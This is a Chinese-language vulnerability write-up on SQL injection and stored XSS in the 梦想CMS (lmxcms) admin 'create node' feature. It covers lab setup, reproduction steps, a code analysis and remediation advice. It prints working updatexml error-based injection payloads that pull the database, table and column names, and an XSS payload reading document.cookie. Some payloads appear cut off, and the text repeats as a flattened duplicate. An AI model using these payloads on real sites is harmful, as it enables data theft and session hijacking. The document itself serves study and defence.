梦想CMS注入漏洞分析&发现小彩蛋
字数 1273 2025-08-03 16:47:22

梦想CMS注入漏洞分析与利用教学文档

0x01 漏洞概述

梦想CMS存在SQL注入漏洞,攻击者可以通过后台采集管理功能中的"创建节点"功能实现报错注入。该漏洞属于未经过滤直接拼接SQL语句导致的注入漏洞,同时该漏洞点还存在存储型XSS漏洞。

0x02 环境搭建

  1. 准备环境

    • 使用phpstudy 2016版本
    • PHP版本为5.6.27
  2. 下载CMS源码

    • 下载地址:http://www.lmxcms.com/file/d/down/xitong/20210628/202106281714266126.zip
  3. 安装步骤

    • 访问http://[your-ip]/install/进行安装
    • 需要提前创建好数据库
    • 输入相应信息完成安装

0x03 漏洞复现

  1. 登录后台

    • 访问http://[your-ip]/admin.php?m=Login
    • 输入管理员账号密码登录
  2. 找到漏洞点

    • 进入"采集管理"功能
    • 点击"创建节点"
  3. 注入Payload

    • 在"节点名字"或"备注"字段输入以下Payload:
      1' and updatexml(0,concat(0x7e,database()),1) and '
      
    • 提交后可以看到数据库报错信息,包含当前数据库名称
  4. XSS漏洞验证

    • 输入以下Payload可触发XSS:
      ')'
      

0x04 漏洞分析

漏洞调用链分析

  1. 请求流程

    • admin.php -> /inc/run.inc.php -> AcquisiAction
    • 调用add()方法 -> 处理数据(d()p()函数) -> 调用Model中的add()方法
    • 调用addDB() -> 直接拼接SQL语句 -> 执行query()方法
  2. 关键函数分析

    d()函数

    function d() {
        // 对mid字段进行(int)强制类型转换
        if($v == 'mid') $data[$v] = (int)$data[$v];
    }
    

    p()函数

    function p($type=1,$pe=false,$sql=false,$mysql=false) {
        // 仅对数据进行trim处理,无SQL过滤
        $newdata[$k] = trim($v);
    }
    

    addDB()函数

    function addDB($data,$table=''){
        // 直接拼接SQL语句,无过滤
        $sql = 'INSERT INTO '.$table.'('.implode(',',$field).') VALUES('.implode(',',$value).')';
        $this->db->query($sql);
    }
    
  3. 漏洞成因

    • 用户输入数据仅经过trim()处理,未进行任何SQL过滤
    • addDB()函数中直接拼接SQL语句
    • 当SQL语句执行错误时,系统会返回详细错误信息

0x05 漏洞利用扩展

  1. SQL注入利用

    • 可获取数据库信息:
      1' and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1) and '
      
    • 可获取表数据:
      1' and updatexml(0,concat(0x7e,(select column_name from information_schema.columns where table_name='admin' limit 0,1)),1) and '
      
  2. 存储型XSS利用

    • 可构造持久化XSS攻击:
      ')<script>alert(document.cookie)</script>'
      
    • 可窃取管理员cookie:
      ')
      

0x06 修复建议

  1. 输入过滤

    • 对所有用户输入使用预处理语句或转义特殊字符
    • 使用addslashes()或更好的mysqli_real_escape_string()
  2. SQL执行方式

    • 使用参数化查询或PDO预处理语句
    • 修改addDB()函数:
      function addDB($data,$table=''){
          $stmt = $this->db->prepare("INSERT INTO $table (".implode(',',$field).") VALUES (?".str_repeat(',?', count($value)-1).")");
          $stmt->execute(array_values($data));
      }
      
  3. 错误处理

    • 禁止显示数据库错误信息
    • 使用try-catch捕获异常
  4. XSS防护

    • 对输出内容进行HTML实体编码
    • 使用htmlspecialchars()函数

0x07 总结

该漏洞展示了典型的未过滤用户输入直接拼接SQL语句导致的安全问题,同时暴露了错误信息处理不当的风险。开发人员应当:

  1. 对所有用户输入保持怀疑态度并进行适当过滤
  2. 使用安全的数据库操作方式
  3. 避免向用户显示系统详细错误信息
  4. 对输出到页面的内容进行编码处理

通过全面分析该漏洞,我们可以更好地理解SQL注入和XSS漏洞的产生原理及防护方法。

梦想CMS注入漏洞分析与利用教学文档 0x01 漏洞概述 梦想CMS存在SQL注入漏洞,攻击者可以通过后台采集管理功能中的"创建节点"功能实现报错注入。该漏洞属于未经过滤直接拼接SQL语句导致的注入漏洞,同时该漏洞点还存在存储型XSS漏洞。 0x02 环境搭建 准备环境 : 使用phpstudy 2016版本 PHP版本为5.6.27 下载CMS源码 : 下载地址:http://www.lmxcms.com/file/d/down/xitong/20210628/202106281714266126.zip 安装步骤 : 访问 http://[your-ip]/install/ 进行安装 需要提前创建好数据库 输入相应信息完成安装 0x03 漏洞复现 登录后台 : 访问 http://[your-ip]/admin.php?m=Login 输入管理员账号密码登录 找到漏洞点 : 进入"采集管理"功能 点击"创建节点" 注入Payload : 在"节点名字"或"备注"字段输入以下Payload: 提交后可以看到数据库报错信息,包含当前数据库名称 XSS漏洞验证 : 输入以下Payload可触发XSS: 0x04 漏洞分析 漏洞调用链分析 请求流程 : admin.php -> /inc/run.inc.php -> AcquisiAction 类 调用 add() 方法 -> 处理数据( d() 、 p() 函数) -> 调用Model中的 add() 方法 调用 addDB() -> 直接拼接SQL语句 -> 执行 query() 方法 关键函数分析 : d()函数 : p()函数 : addDB()函数 : 漏洞成因 : 用户输入数据仅经过 trim() 处理,未进行任何SQL过滤 在 addDB() 函数中直接拼接SQL语句 当SQL语句执行错误时,系统会返回详细错误信息 0x05 漏洞利用扩展 SQL注入利用 : 可获取数据库信息: 可获取表数据: 存储型XSS利用 : 可构造持久化XSS攻击: 可窃取管理员cookie: 0x06 修复建议 输入过滤 : 对所有用户输入使用预处理语句或转义特殊字符 使用 addslashes() 或更好的 mysqli_real_escape_string() SQL执行方式 : 使用参数化查询或PDO预处理语句 修改 addDB() 函数: 错误处理 : 禁止显示数据库错误信息 使用try-catch捕获异常 XSS防护 : 对输出内容进行HTML实体编码 使用 htmlspecialchars() 函数 0x07 总结 该漏洞展示了典型的未过滤用户输入直接拼接SQL语句导致的安全问题,同时暴露了错误信息处理不当的风险。开发人员应当: 对所有用户输入保持怀疑态度并进行适当过滤 使用安全的数据库操作方式 避免向用户显示系统详细错误信息 对输出到页面的内容进行编码处理 通过全面分析该漏洞,我们可以更好地理解SQL注入和XSS漏洞的产生原理及防护方法。